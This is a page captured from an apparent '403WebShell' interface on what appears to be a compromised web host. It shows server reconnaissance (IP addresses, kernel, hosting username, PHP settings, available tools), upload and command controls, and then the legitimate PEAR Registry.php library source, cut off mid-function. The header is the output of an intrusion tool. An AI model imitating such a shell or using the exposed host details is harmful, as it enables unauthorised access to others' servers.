Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.191.233.198
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/cpanel/ea-php70/root/usr/share/pear/PEAR/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/cpanel/ea-php70/root/usr/share/pear/PEAR/Registry.php
<?php
/**
 * PEAR_Registry
 *
 * PHP versions 4 and 5
 *
 * @category   pear
 * @package    PEAR
 * @author     Stig Bakken <ssb@php.net>
 * @author     Tomas V. V. Cox <cox@idecnet.com>
 * @author     Greg Beaver <cellog@php.net>
 * @copyright  1997-2009 The Authors
 * @license    http://opensource.org/licenses/bsd-license.php New BSD License
 * @link       http://pear.php.net/package/PEAR
 * @since      File available since Release 0.1
 */

/**
 * for PEAR_Error
 */
require_once 'PEAR.php';
require_once 'PEAR/DependencyDB.php';

define('PEAR_REGISTRY_ERROR_LOCK',         -2);
define('PEAR_REGISTRY_ERROR_FORMAT',       -3);
define('PEAR_REGISTRY_ERROR_FILE',         -4);
define('PEAR_REGISTRY_ERROR_CONFLICT',     -5);
define('PEAR_REGISTRY_ERROR_CHANNEL_FILE', -6);

/**
 * Administration class used to maintain the installed package database.
 * @category   pear
 * @package    PEAR
 * @author     Stig Bakken <ssb@php.net>
 * @author     Tomas V. V. Cox <cox@idecnet.com>
 * @author     Greg Beaver <cellog@php.net>
 * @copyright  1997-2009 The Authors
 * @license    http://opensource.org/licenses/bsd-license.php New BSD License
 * @version    Release: 1.10.13
 * @link       http://pear.php.net/package/PEAR
 * @since      Class available since Release 1.4.0a1
 */
class PEAR_Registry extends PEAR
{
    /**
     * File containing all channel information.
     * @var string
     */
    var $channels = '';

    /** Directory where registry files are stored.
     * @var string
     */
    var $statedir = '';

    /** File where the file map is stored
     * @var string
     */
    var $filemap = '';

    /** Directory where registry files for channels are stored.
     * @var string
     */
    var $channelsdir = '';

    /** Name of file used for locking the registry
     * @var string
     */
    var $lockfile = '';

    /** File descriptor used during locking
     * @var resource
     */
    var $lock_fp = null;

    /** Mode used during locking
     * @var int
     */
    var $lock_mode = 0; // XXX UNUSED

    /** Cache of package information.  Structure:
     * array(
     *   'package' => array('id' => ... ),
     *   ... )
     * @var array
     */
    var $pkginfo_cache = array();

    /** Cache of file map.  Structure:
     * array( '/path/to/file' => 'package', ... )
     * @var array
     */
    var $filemap_cache = array();

    /**
     * @var false|PEAR_ChannelFile
     */
    var $_pearChannel;

    /**
     * @var false|PEAR_ChannelFile
     */
    var $_peclChannel;

    /**
     * @var false|PEAR_ChannelFile
     */
    var $_docChannel;

    /**
     * @var PEAR_DependencyDB
     */
    var $_dependencyDB;

    /**
     * @var PEAR_Config
     */
    var $_config;

    /**
     * PEAR_Registry constructor.
     *
     * @param string (optional) PEAR install directory (for .php files)
     * @param PEAR_ChannelFile PEAR_ChannelFile object representing the PEAR channel, if
     *        default values are not desired.  Only used the very first time a PEAR
     *        repository is initialized
     * @param PEAR_ChannelFile PEAR_ChannelFile object representing the PECL channel, if
     *        default values are not desired.  Only used the very first time a PEAR
     *        repository is initialized
     *
     * @access public
     */
    function __construct($pear_install_dir = PEAR_INSTALL_DIR, $pear_channel = false,
                           $pecl_channel = false, $pear_metadata_dir = '')
    {
        parent::__construct();
        $this->setInstallDir($pear_install_dir, $pear_metadata_dir);
        $this->_pearChannel = $pear_channel;
        $this->_peclChannel = $pecl_channel;
        $this->_config      = false;
    }

    function setInstallDir($pear_install_dir = PEAR_INSTALL_DIR, $pear_metadata_dir = '')
    {
        $ds = DIRECTORY_SEPARATOR;
        $this->install_dir = $pear_install_dir;
        if (!$pear_metadata_dir) {
            $pear_metadata_dir = $pear_install_dir;
        }
        $this->channelsdir = $pear_metadata_dir.$ds.'.channels';
        $this->statedir    = $pear_metadata_dir.$ds.'.registry';
        $this->filemap     = $pear_metadata_dir.$ds.'.filemap';
        $this->lockfile    = $pear_metadata_dir.$ds.'.lock';
    }

    function hasWriteAccess()
    {
        if (!file_exists($this->install_dir)) {
            $dir = $this->install_dir;
            while ($dir && $dir != '.') {
                $olddir = $dir;
                $dir    = dirname($dir);
                if ($dir != '.' && file_exists($dir)) {
                    if (is_writeable($dir)) {
                        return true;
                    }

                    return false;
                }

                if ($dir == $olddir) { // this can happen in safe mode
                    return @is_writable($dir);
                }
            }

            return false;
        }

        return is_writeable($this->install_dir);
    }

    function setConfig(&$config, $resetInstallDir = true)
    {
        $this->_config = &$config;
        if ($resetInstallDir) {
            $this->setInstallDir($config->get('php_dir'), $config->get('metadata_dir'));
        }
    }

    function _initializeChannelDirs()
    {
        static $running = false;
        if (!$running) {
            $running = true;
            $ds = DIRECTORY_SEPARATOR;
            if (!is_dir($this->channelsdir) ||
                  !file_exists($this->channelsdir . $ds . 'pear.php.net.reg') ||
                  !file_exists($this->channelsdir . $ds . 'pecl.php.net.reg') ||
                  !file_exists($this->channelsdir . $ds . 'doc.php.net.reg') ||
                  !file_exists($this->channelsdir . $ds . '__uri.reg')) {
                if (!file_exists($this->channelsdir . $ds . 'pear.php.net.reg')) {
                    $pear_channel = $this->_pearChannel;
                    if (!is_a($pear_channel, 'PEAR_ChannelFile') || !$pear_channel->validate()) {
                        if (!class_exists('PEAR_ChannelFile')) {
                            require_once 'PEAR/ChannelFile.php';
                        }

                        $pear_channel = new PEAR_ChannelFile;
                        $pear_channel->setAlias('pear');
                        $pear_channel->setServer('pear.php.net');
                        $pear_channel->setSummary('PHP Extension and Application Repository');
                        $pear_channel->setDefaultPEARProtocols();
                        $pear_channel->setBaseURL('REST1.0', 'http://pear.php.net/rest/');
                        $pear_channel->setBaseURL('REST1.1', 'http://pear.php.net/rest/');
                        $pear_channel->setBaseURL('REST1.3', 'http://pear.php.net/rest/');
                        //$pear_channel->setBaseURL('REST1.4', 'http://pear.php.net/rest/');
                    } else {
                        $pear_channel->setServer('pear.php.net');
                        $pear_channel->setAlias('pear');
                    }

                    $pear_channel->validate();
                    $this->_addChannel($pear_channel);
                }

                if (!file_exists($this->channelsdir . $ds . 'pecl.php.net.reg')) {
                    $pecl_channel = $this->_peclChannel;
                    if (!is_a($pecl_channel, 'PEAR_ChannelFile') || !$pecl_channel->validate()) {
                        if (!class_exists('PEAR_ChannelFile')) {
                            require_once 'PEAR/ChannelFile.php';
                        }

                        $pecl_channel = new PEAR_ChannelFile;
                        $pecl_channel->setAlias('pecl');
                        $pecl_channel->setServer('pecl.php.net');
                        $pecl_channel->setSummary('PHP Extension Community Library');
                        $pecl_channel->setDefaultPEARProtocols();
                        $pecl_channel->setBaseURL('REST1.0', 'http://pecl.php.net/rest/');
                        $pecl_channel->setBaseURL('REST1.1', 'http://pecl.php.net/rest/');
                        $pecl_channel->setValidationPackage('PEAR_Validator_PECL', '1.0');
                    } else {
                        $pecl_channel->setServer('pecl.php.net');
                        $pecl_channel->setAlias('pecl');
                    }

                    $pecl_channel->validate();
                    $this->_addChannel($pecl_channel);
                }

                if (!file_exists($this->channelsdir . $ds . 'doc.php.net.reg')) {
                    $doc_channel = $this->_docChannel;
                    if (!is_a($doc_channel, 'PEAR_ChannelFile') || !$doc_channel->validate()) {
                        if (!class_exists('PEAR_ChannelFile')) {
                            require_once 'PEAR/ChannelFile.php';
                        }

                        $doc_channel = new PEAR_ChannelFile;
                        $doc_channel->setAlias('phpdocs');
                        $doc_channel->setServer('doc.php.net');
                        $doc_channel->setSummary('PHP Documentation Team');
                        $doc_channel->setDefaultPEARProtocols();
                        $doc_channel->setBaseURL('REST1.0', 'http://doc.php.net/rest/');
                        $doc_channel->setBaseURL('REST1.1', 'http://doc.php.net/rest/');
                        $doc_channel->setBaseURL('REST1.3', 'http://doc.php.net/rest/');
                    } else {
                        $doc_channel->setServer('doc.php.net');
                        $doc_channel->setAlias('doc');
                    }

                    $doc_channel->validate();
                    $this->_addChannel($doc_channel);
                }

                if (!file_exists($this->channelsdir . $ds . '__uri.reg')) {
                    if (!class_exists('PEAR_ChannelFile')) {
                        require_once 'PEAR/ChannelFile.php';
                    }

                    $private = new PEAR_ChannelFile;
                    $private->setName('__uri');
                    $private->setDefaultPEARProtocols();
                    $private->setBaseURL('REST1.0', '****');
                    $private->setSummary('Pseudo-channel for static packages');
                    $this->_addChannel($private);
                }
                $this->_rebuildFileMap();
            }

            $running = false;
        }
    }

    function _initializeDirs()
    {
        $ds = DIRECTORY_SEPARATOR;
        // XXX Compatibility code should be removed in the future
        // rename all registry files if any to lowercase
        if (!OS_WINDOWS && file_exists($this->statedir) && is_dir($this->statedir) &&
              $handle = opendir($this->statedir)) {
            $dest = $this->statedir . $ds;
            while (false !== ($file = readdir($handle))) {
                if (preg_match('/^.*[A-Z].*\.reg\\z/', $file)) {
                    rename($dest . $file, $dest . strtolower($file));
                }
            }
            closedir($handle);
        }

        $this->_initializeChannelDirs();
        if (!file_exists($this->filemap)) {
            $this->_rebuildFileMap();
        }
        $this->_initializeDepDB();
    }

    function _initializeDepDB()
    {
        if (!isset($this->_dependencyDB)) {
            static $initializing = false;
            if (!$initializing) {
                $initializing = true;
                if (!$this->_config) { // never used?
                    $file = OS_WINDOWS ? 'pear.ini' : '.pearrc';
                    $this->_config = new PEAR_Config($this->statedir . DIRECTORY_SEPARATOR .
                        $file);
                    $this->_config->setRegistry($this);
                    $this->_config->set('php_dir', $this->install_dir);
                }

                $this->_dependencyDB = &PEAR_DependencyDB::singleton($this->_config);
                if (PEAR::isError($this->_dependencyDB)) {
                    // attempt to recover by removing the dep db
                    if (file_exists($this->_config->get('metadata_dir', null, 'pear.php.net') .
                        DIRECTORY_SEPARATOR . '.depdb')) {
                        @unlink($this->_config->get('metadata_dir', null, 'pear.php.net') .
                            DIRECTORY_SEPARATOR . '.depdb');
                    }

                    $this->_dependencyDB = &PEAR_DependencyDB::singleton($this->_config);
                    if (PEAR::isError($this->_dependencyDB)) {
                        echo $this->_dependencyDB->getMessage();
                        echo 'Unrecoverable error';
                        exit(1);
                    }
                }

                $initializing = false;
            }
        }
    }

    /**
     * PEAR_Registry destructor.  Makes sure no locks are forgotten.
     *
     * @access private
     */
    function _PEAR_Registry()
    {
        parent::_PEAR();
        if (is_resource($this->lock_fp)) {
            $this->_unlock();
        }
    }

    /**
     * Make sure the directory where we keep registry files exists.
     *
     * @return bool TRUE if directory exists, FALSE if it could not be
     * created
     *
     * @access private
     */
    function _assertStateDir($channel = false)
    {
        if ($channel && $this->_getChannelFromAlias($channel) != 'pear.php.net') {
            return $this->_assertChannelStateDir($channel);
        }

        static $init = false;
        if (!file_exists($this->statedir)) {
            if (!$this->hasWriteAccess()) {
                return false;
            }

            require_once 'System.php';
            if (!System::mkdir(array('-p', $this->statedir))) {
                return $this->raiseError("could not create directory '{$this->statedir}'");
            }
            $init = true;
        } elseif (!is_dir($this->statedir)) {
            return $this->raiseError('Cannot create directory ' . $this->statedir . ', ' .
                'it already exists and is not a directory');
        }

        $ds = DIRECTORY_SEPARATOR;
        if (!file_exists($this->channelsdir)) {
            if (!file_exists($this->channelsdir . $ds . 'pear.php.net.reg') ||
                  !file_exists($this->channelsdir . $ds . 'pecl.php.net.reg') ||
                  !file_exists($this->channelsdir . $ds . 'doc.php.net.reg') ||
                  !file_exists($this->channelsdir . $ds . '__uri.reg')) {
                $init = true;
            }
        } elseif (!is_dir($this->channelsdir)) {
            return $this->raiseError('Cannot create directory ' . $this->channelsdir . ', ' .
                'it already exists and is not a directory');
        }

        if ($init) {
            static $running = false;
            if (!$running) {
                $running = true;
                $this->_initializeDirs();
                $running = false;
                $init = false;
            }
        } else {
            $this->_initializeDepDB();
        }

        return true;
    }

    /**
     * Make sure the directory where we keep registry files exists for a non-standard channel.
     *
     * @param string channel name
     * @return bool TRUE if directory exists, FALSE if it could not be
     * created
     *
     * @access private
     */
    function _assertChannelStateDir($channel)
    {
        $ds = DIRECTORY_SEPARATOR;
        if (!$channel || $this->_getChannelFromAlias($channel) == 'pear.php.net') {
            if (!file_exists($this->channelsdir . $ds . 'pear.php.net.reg')) {
                $this->_initializeChannelDirs();
            }
            return $this->_assertStateDir($channel);
        }

        $channelDir = $this->_channelDirectoryName($channel);
        if (!is_dir($this->channelsdir) ||
              !file_exists($this->channelsdir . $ds . 'pear.php.net.reg')) {
            $this->_initializeChannelDirs();
        }

        if (!file_exists($channelDir)) {
            if (!$this->hasWriteAccess()) {
                return false;
            }

            require_once 'System.php';
            if (!System::mkdir(array('-p', $channelDir))) {
                return $this->raiseError("could not create directory '" . $channelDir .
                    "'");
            }
        } elseif (!is_dir($channelDir)) {
            return $this->raiseError("could not create directory '" . $channelDir .
                "', already exists and is not a directory");
        }

        return true;
    }

    /**
     * Make sure the directory where we keep registry files for channels exists
     *
     * @return bool TRUE if directory exists, FALSE if it could not be
     * created
     *
     * @access private
     */
    function _assertChannelDir()
    {
        if (!file_exists($this->channelsdir)) {
            if (!$this->hasWriteAccess()) {
                return false;
            }

            require_once 'System.php';
            if (!System::mkdir(array('-p', $this->channelsdir))) {
                return $this->raiseError("could not create directory '{$this->channelsdir}'");
            }
        } elseif (!is_dir($this->channelsdir)) {
            return $this->raiseError("could not create directory '{$this->channelsdir}" .
                "', it already exists and is not a directory");
        }

        if (!file_exists($this->channelsdir . DIRECTORY_SEPARATOR . '.alias')) {
            if (!$this->hasWriteAccess()) {
                return false;
            }

            require_once 'System.php';
            if (!System::mkdir(array('-p', $this->channelsdir . DIRECTORY_SEPARATOR . '.alias'))) {
                return $this->raiseError("could not create directory '{$this->channelsdir}/.alias'");
            }
        } elseif (!is_dir($this->channelsdir . DIRECTORY_SEPARATOR . '.alias')) {
            return $this->raiseError("could not create directory '{$this->channelsdir}" .
                "/.alias', it already exists and is not a directory");
        }

        return true;
    }

    /**
     * Get the name of the file where data for a given package is stored.
     *
     * @param string channel name, or false if this is a PEAR package
     * @param string package name
     *
     * @return string registry file name
     *
     * @access public
     */
    function _packageFileName($package, $channel = false)
    {
        if ($channel && $this->_getChannelFromAlias($channel) != 'pear.php.net') {
            return $this->_channelDirectoryName($channel) . DIRECTORY_SEPARATOR .
                strtolower($package) . '.reg';
        }

        return $this->statedir . DIRECTORY_SEPARATOR . strtolower($package) . '.reg';
    }

    /**
     * Get the name of the file where data for a given channel is stored.
     * @param string channel name
     * @return string registry file name
     */
    function _channelFileName($channel, $noaliases = false)
    {
        if (!$noaliases) {
            if (file_exists($this->_getChannelAliasFileName($channel))) {
                $channel = implode('', file($this->_getChannelAliasFileName($channel)));
            }
        }
        return $this->channelsdir . DIRECTORY_SEPARATOR . str_replace('/', '_',
            strtolower($channel)) . '.reg';
    }

    /**
     * @param string
     * @return string
     */
    function _getChannelAliasFileName($alias)
    {
        return $this->channelsdir . DIRECTORY_SEPARATOR . '.alias' .
              DIRECTORY_SEPARATOR . str_replace('/', '_', strtolower($alias)) . '.txt';
    }

    /**
     * Get the name of a channel from its alias
     */
    function _getChannelFromAlias($channel)
    {
        if (!$this->_channelExists($channel)) {
            if ($channel == 'pear.php.net') {
                return 'pear.php.net';
            }

            if ($channel == 'pecl.php.net') {
                return 'pecl.php.net';
            }

            if ($channel == 'doc.php.net') {
                return 'doc.php.net';
            }

            if ($channel == '__uri') {
                return '__uri';
            }

            return false;
        }

        $channel = strtolower($channel);
        if (file_exists($this->_getChannelAliasFileName($channel))) {
            // translate an alias to an actual channel
            return implode('', file($this->_getChannelAliasFileName($channel)));
        }

        return $channel;
    }

    /**
     * Get the alias of a channel from its alias or its name
     */
    function _getAlias($channel)
    {
        if (!$this->_channelExists($channel)) {
            if ($channel == 'pear.php.net') {
                return 'pear';
            }

            if ($channel == 'pecl.php.net') {
                return 'pecl';
            }

            if ($channel == 'doc.php.net') {
                return 'phpdocs';
            }

            return false;
        }

        $channel = $this->_getChannel($channel);
        if (PEAR::isError($channel)) {
            return $channel;
        }

        return $channel->getAlias();
    }

    /**
     * Get the name of the file where data for a given package is stored.
     *
     * @param string channel name, or false if this is a PEAR package
     * @param string package name
     *
     * @return string registry file name
     *
     * @access public
     */
    function _channelDirectoryName($channel)
    {
        if (!$channel || $this->_getChannelFromAlias($channel) == 'pear.php.net') {
            return $this->statedir;
        }

        $ch = $this->_getChannelFromAlias($channel);
        if (!$ch) {
            $ch = $channel;
        }

        return $this->statedir . DIRECTORY_SEPARATOR . strtolower('.channel.' .
            str_replace('/', '_', $ch));
    }

    function _openPackageFile($package, $mode, $channel = false)
    {
        if (!$this->_assertStateDir($channel)) {
            return null;
        }

        if (!in_array($mode, array('r', 'rb')) && !$this->hasWriteAccess()) {
            return null;
        }

        $file = $this->_packageFileName($package, $channel);
        if (!file_exists($file) && $mode == 'r' || $mode == 'rb') {
            return null;
        }

        $fp = @fopen($file, $mode);
        if (!$fp) {
            return null;
        }

        return $fp;
    }

    function _closePackageFile($fp)
    {
        fclose($fp);
    }

    function _openChannelFile($channel, $mode)
    {
        if (!$this->_assertChannelDir()) {
            return null;
        }

        if (!in_array($mode, array('r', 'rb')) && !$this->hasWriteAccess()) {
            return null;
        }

        $file = $this->_channelFileName($channel);
        if (!file_exists($file) && $mode == 'r' || $mode == 'rb') {
            return null;
        }

        $fp = @fopen($file, $mode);
        if (!$fp) {
            return null;
        }

        return $fp;
    }

    function _closeChannelFile($fp)
    {
        fclose($fp);
    }

    function _rebuildFileMap()
    {
        if (!class_exists('PEAR_Installer_Role')) {
            require_once 'PEAR/Installer/Role.php';
        }

        $channels = $this->_listAllPackages();
        $files = array();
        foreach ($channels as $channel => $packages) {
            foreach ($packages as $package) {
                $version = $this->_packageInfo($package, 'version', $channel);
                $filelist = $this->_packageInfo($package, 'filelist', $channel);
                if (!is_array($filelist)) {
                    continue;
                }

                foreach ($filelist as $name => $attrs) {
                    if (isset($attrs['attribs'])) {
                        $attrs = $attrs['attribs'];
                    }

                    // it is possible for conflicting packages in different channels to
                    // conflict with data files/doc files
                    if ($name == 'dirtree') {
                        continue;
                    }

                    if (isset($attrs['role']) && !in_array($attrs['role'],
                          PEAR_Installer_Role::getInstallableRoles())) {
                        // these are not installed
                        continue;
                    }

                    if (isset($attrs['role']) && !in_array($attrs['role'],
                          PEAR_Installer_Role::getBaseinstallRoles())) {
                        $attrs['baseinstalldir'] = $package;
                    }

                    if (isset($attrs['baseinstalldir'])) {
                        $file = $attrs['baseinstalldir'].DIRECTORY_SEPARATOR.$name;
                    } else {
                        $file = $name;
                    }

                    $file = preg_replace(',^/+,', '', $file);
                    if ($channel != 'pear.php.net') {
                        if (!isset($files[$attrs['role']])) {
                            $files[$attrs['role']] = array();
                        }
                        $files[$attrs['role']][$file] = array(strtolower($channel),
                            strtolower($package));
                    } else {
                        if (!isset($files[$attrs['role']])) {
                            $files[$attrs['role']] = array();
                        }
                        $files[$attrs['role']][$file] = strtolower($package);
                    }
                }
            }
        }


        $this->_assertStateDir();
        if (!$this->hasWriteAccess()) {
            return false;
        }

        $fp = @fopen($this->filemap, 'wb');
        if (!$fp) {
            return false;
        }

        $this->filemap_cache = $files;
        fwrite($fp, serialize($files));
        fclose($fp);
        return true;
    }

    function _readFileMap()
    {
        if (!file_exists($this->filemap)) {
            return array();
        }

        $fp = @fopen($this->filemap, 'r');
        if (!$fp) {
            $last_errormsg = error_get_last();
            return $this->raiseError('PEAR_Registry: could not open filemap "' . $this->filemap . '"', PEAR_REGISTRY_ERROR_FILE, null, null, $last_errormsg);
        }

        clearstatcache();
        $fsize = filesize($this->filemap);
        fclose($fp);
        $data = file_get_contents($this->filemap);
        $tmp = unserialize($data);
        if (!$tmp && $fsize > 7) {
            return $this->raiseError('PEAR_Registry: invalid filemap data', PEAR_REGISTRY_ERROR_FORMAT, null, null, $data);
        }

        $this->filemap_cache = $tmp;
        return true;
    }

    /**
     * Lock the registry.
     *
     * @param integer lock mode, one of LOCK_EX, LOCK_SH or LOCK_UN.
     *                See flock manual for more information.
     *
     * @return bool TRUE on success, FALSE if locking failed, or a
     *              PEAR error if some other error occurs (such as the
     *              lock file not being writable).
     *
     * @access private
     */
    function _lock($mode = LOCK_EX)
    {
        if (stristr(php_uname(), 'Windows 9')) {
            return true;
        }

        if ($mode != LOCK_UN && is_resource($this->lock_fp)) {
            // XXX does not check type of lock (LOCK_SH/LOCK_EX)
            return true;
        }

        if (!$this->_assertStateDir()) {
            if ($mode == LOCK_EX) {
                return $this->raiseError('Registry directory is not writeable by the current user');
            }

            return true;
        }

        $open_mode = 'w';
        // XXX People reported problems with LOCK_SH and 'w'
        if ($mode === LOCK_SH || $mode === LOCK_UN) {
            if (!file_exists($this->lockfile)) {
                touch($this->lockfile);
            }
            $open_mode = 'r';
        }

        if (!is_resource($this->lock_fp)) {
            $this->lock_fp = @fopen($this->lockfile, $open_mode);
        }

        if (!is_resource($this->lock_fp)) {
            $this->lock_fp = null;
            return $this->raiseError("could not create lock file" .
                                     (isset($php_errormsg) ? ": " . $php_errormsg : ""));
        }

        if (!(int)flock($this->lock_fp, $mode)) {
            switch ($mode) {
                case LOCK_SH: $str = 'shared';    break;
                case LOCK_EX: $str = 'exclusive'; break;
                case LOCK_UN: $str = 'unlock';    break;
                default:      $str = 'unknown';   break;
            }

            //is resource at this point, close it on error.
            fclose($this->lock_fp);
            $this->lock_fp = null;
            return $this->raiseError("could not acquire $str lock ($this->lockfile)",
                                     PEAR_REGISTRY_ERROR_LOCK);
        }

        return true;
    }

    function _unlock()
    {
        $ret = $this->_lock(LOCK_UN);
        if (is_resource($this->lock_fp)) {
            fclose($this->lock_fp);
        }

        $this->lock_fp = null;
        return $ret;
    }

    function _packageExists($package, $channel = false)
    {
        return file_exists($this->_packageFileName($package, $channel));
    }

    /**
     * Determine whether a channel exists in the registry
     *
     * @param string Channel name
     * @param bool if true, then aliases will be ignored
     * @return boolean
     */
    function _channelExists($channel, $noaliases = false)
    {
        $a = file_exists($this->_channelFileName($channel, $noaliases));
        if (!$a && $channel == 'pear.php.net') {
            return true;
        }

        if (!$a && $channel == 'pecl.php.net') {
            return true;
        }

        if (!$a && $channel == 'doc.php.net') {
            return true;
        }

        return $a;
    }

    /**
     * Determine whether a mirror exists within the default channel in the registry
     *
     * @param string Channel name
     * @param string Mirror name
     *
     * @return boolean
     */
    function _mirrorExists($channel, $mirror)
    {
        $data = $this->_channelInfo($channel);
        if (!isset($data['servers']['mirror'])) {
            return false;
        }

        foreach ($data['servers']['mirror'] as $m) {
            if ($m['attribs']['host'] == $mirror) {
                return true;
            }
        }

        return false;
    }

    /**
     * @param PEAR_ChannelFile Channel object
     * @param donotuse
     * @param string Last-Modified HTTP tag from remote request
     * @return boolean|PEAR_Error True on creation, false if it already exists
     */
    function _addChannel($channel, $update = false, $lastmodified = false)
    {
        if (!is_a($channel, 'PEAR_ChannelFile')) {
            return false;
        }

        if (!$channel->validate()) {
            return false;
        }

        if (file_exists($this->_channelFileName($channel->getName()))) {
            if (!$update) {
                return false;
            }

            $checker = $this->_getChannel($channel->getName());
            if (PEAR::isError($checker)) {
                return $checker;
            }

            if ($channel->getAlias() != $checker->getAlias()) {
                if (file_exists($this->_getChannelAliasFileName($checker->getAlias()))) {
                    @unlink($this->_getChannelAliasFileName($checker->getAlias()));
                }
            }
        } else {
            if ($update && !in_array($channel->getName(), array('pear.php.net', 'pecl.php.net', 'doc.php.net'))) {
                return false;
            }
        }

        $ret = $this->_assertChannelDir();
        if (PEAR::isError($ret)) {
            return $ret;
        }

        $ret = $this->_assertChannelStateDir($channel->getName());
        if (PEAR::isError($ret)) {
            return $ret;
        }

        if ($channel->getAlias() != $channel->getName()) {
            if (file_exists($this->_getChannelAliasFileName($channel->getAlias())) &&
                  $this->_getChannelFromAlias($channel->getAlias()) != $channel->getName()) {
                $channel->setAlias($channel->getName());
            }

            if (!$this->hasWriteAccess()) {
                return false;
            }

            $fp = @fopen($this->_getChannelAliasFileName($channel->getAlias()), 'w');
            if (!$fp) {
                return false;
            }

            fwrite($fp, $channel->getName());
            fclose($fp);
        }

        if (!$this->hasWriteAccess()) {
            return false;
        }

        $fp = @fopen($this->_channelFileName($channel->getName()), 'wb');
        if (!$fp) {
            return false;
        }

        $info = $channel->toArray();
        if ($lastmodified) {
            $info['_lastmodified'] = $lastmodified;
        } else {
            $info['_lastmodified'] = self::getSourceDateEpoch();
        }

        fwrite($fp, serialize($info));
        fclose($fp);
        return true;
    }

    /**
     * Deletion fails if there are any packages installed from the channel
     * @param string|PEAR_ChannelFile channel name
     * @return boolean|PEAR_Error True on deletion, false if it doesn't exist
     */
    function _deleteChannel($channel)
    {
        if (!is_string($channel)) {
            if (!is_a($channel, 'PEAR_ChannelFile')) {
                return false;
            }

            if (!$channel->validate()) {
                return false;
            }
            $channel = $channel->getName();
        }

        if ($this->_getChannelFromAlias($channel) == '__uri') {
            return false;
        }

        if ($this->_getChannelFromAlias($channel) == 'pecl.php.net') {
            return false;
        }

        if ($this->_getChannelFromAlias($channel) == 'doc.php.net') {
            return false;
        }

        if (!$this->_channelExists($channel)) {
            return false;
        }

        if (!$channel || $this->_getChannelFromAlias($channel) == 'pear.php.net') {
            return false;
        }

        $channel = $this->_getChannelFromAlias($channel);
        if ($channel == 'pear.php.net') {
            return false;
        }

        $test = $this->_listChannelPackages($channel);
        if (count($test)) {
            return false;
        }

        $test = @rmdir($this->_channelDirectoryName($channel));
        if (!$test) {
            return false;
        }

        $file = $this->_getChannelAliasFileName($this->_getAlias($channel));
        if (file_exists($file)) {
            $test = @unlink($file);
            if (!$test) {
                return false;
            }
        }

        $file = $this->_channelFileName($channel);
        $ret = true;
        if (file_exists($file)) {
            $ret = @unlink($file);
        }

        return $ret;
    }

    /**
     * Determine whether a channel exists in the registry
     * @param string Channel Alias
     * @return boolean
     */
    function _isChannelAlias($alias)
    {
        return file_exists($this->_getChannelAliasFileName($alias));
    }

    /**
     * @param string|null
     * @param string|null
     * @param string|null
     * @return array|null
     * @access private
     */
    function _packageInfo($package = null, $key = null, $channel = 'pear.php.net')
    {
        if ($package === null) {
            if ($channel === null) {
                $channels = $this->_listChannels();
                $ret = array();
                foreach ($channels as $channel) {
                    $channel = strtolower($channel);
                    $ret[$channel] = array();
                    $packages = $this->_listPackages($channel);
                    foreach ($packages as $package) {
                        $ret[$channel][] = $this->_packageInfo($package, null, $channel);
                    }
                }

                return $ret;
            }

            $ps = $this->_listPackages($channel);
            if (!count($ps)) {
                return array();
            }
            return array_map(array(&$this, '_packageInfo'),
                             $ps, array_fill(0, count($ps), null),
                             array_fill(0, count($ps), $channel));
        }

        $fp = $this->_openPackageFile($package, 'r', $channel);
        if ($fp === null) {
            return null;
        }

        clearstatcache();
        $this->_closePackageFile($fp);
        $data = file_get_contents($this->_packageFileName($package, $channel));
        $data = unserialize($data);
        if ($key === null) {
            return $data;
        }

        // compatibility for package.xml version 2.0
        if (isset($data['old'][$key])) {
            return $data['old'][$key];
        }

        if (isset($data[$key])) {
            return $data[$key];
        }

        return null;
    }

    /**
     * @param string Channel name
     * @param bool whether to strictly retrieve info of channels, not just aliases
     * @return array|null
     */
    function _channelInfo($channel, $noaliases = false)
    {
        if (!$this->_channelExists($channel, $noaliases)) {
            return null;
        }

        $fp = $this->_openChannelFile($channel, 'r');
        if ($fp === null) {
            return null;
        }

        clearstatcache();
        $this->_closeChannelFile($fp);
        $data = file_get_contents($this->_channelFileName($channel));
        $data = unserialize($data);
        return $data;
    }

    function _listChannels()
    {
        $channellist = array();
        if (!file_exists($this->channelsdir) || !is_dir($this->channelsdir)) {
            return array('pear.php.net', 'pecl.php.net', 'doc.php.net', '__uri');
        }

        $dp = opendir($this->channelsdir);
        while ($ent = readdir($dp)) {
            if ($ent[0] == '.' || substr($ent, -4) != '.reg') {
                continue;
            }

            if ($ent == '__uri.reg') {
                $channellist[] = '__uri';
                continue;
            }

            $channellist[] = str_replace('_', '/', substr($ent, 0, -4));
        }

        closedir($dp);
        if (!in_array('pear.php.net', $channellist)) {
            $channellist[] = 'pear.php.net';
        }

        if (!in_array('pecl.php.net', $channellist)) {
            $channellist[] = 'pecl.php.net';
        }

        if (!in_array('doc.php.net', $channellist)) {
            $channellist[] = 'doc.php.net';
        }


        if (!in_array('__uri', $channellist)) {
            $channellist[] = '__uri';
        }

        natsort($channellist);
        return $channellist;
    }

    function _listPackages($channel = false)
    {
        if ($channel && $this->_getChannelFromAlias($channel) != 'pear.php.net') {
            return $this->_listChannelPackages($channel);
        }

        if (!file_exists($this->statedir) || !is_dir($this->statedir)) {
            return array();
        }

        $pkglist = array();
        $dp = opendir($this->statedir);
        if (!$dp) {
            return $pkglist;
        }

        while ($ent = readdir($dp)) {
            if ($ent[0] == '.' || substr($ent, -4) != '.reg') {
                continue;
            }

            $pkglist[] = substr($ent, 0, -4);
        }
        closedir($dp);
        sort($pkglist);
        return $pkglist;
    }

    function _listChannelPackages($channel)
    {
        $pkglist = array();
        if (!file_exists($this->_channelDirectoryName($channel)) ||
              !is_dir($this->_channelDirectoryName($channel))) {
            return array();
        }

        $dp = opendir($this->_channelDirectoryName($channel));
        if (!$dp) {
            return $pkglist;
        }

        while ($ent = readdir($dp)) {
            if ($ent[0] == '.' || substr($ent, -4) != '.reg') {
                continue;
            }
            $pkglist[] = substr($ent, 0, -4);
        }

        closedir($dp);
        return $pkglist;
    }

    function _listAllPackages()
    {
        $ret = array();
        foreach ($this->_listChannels() as $channel) {
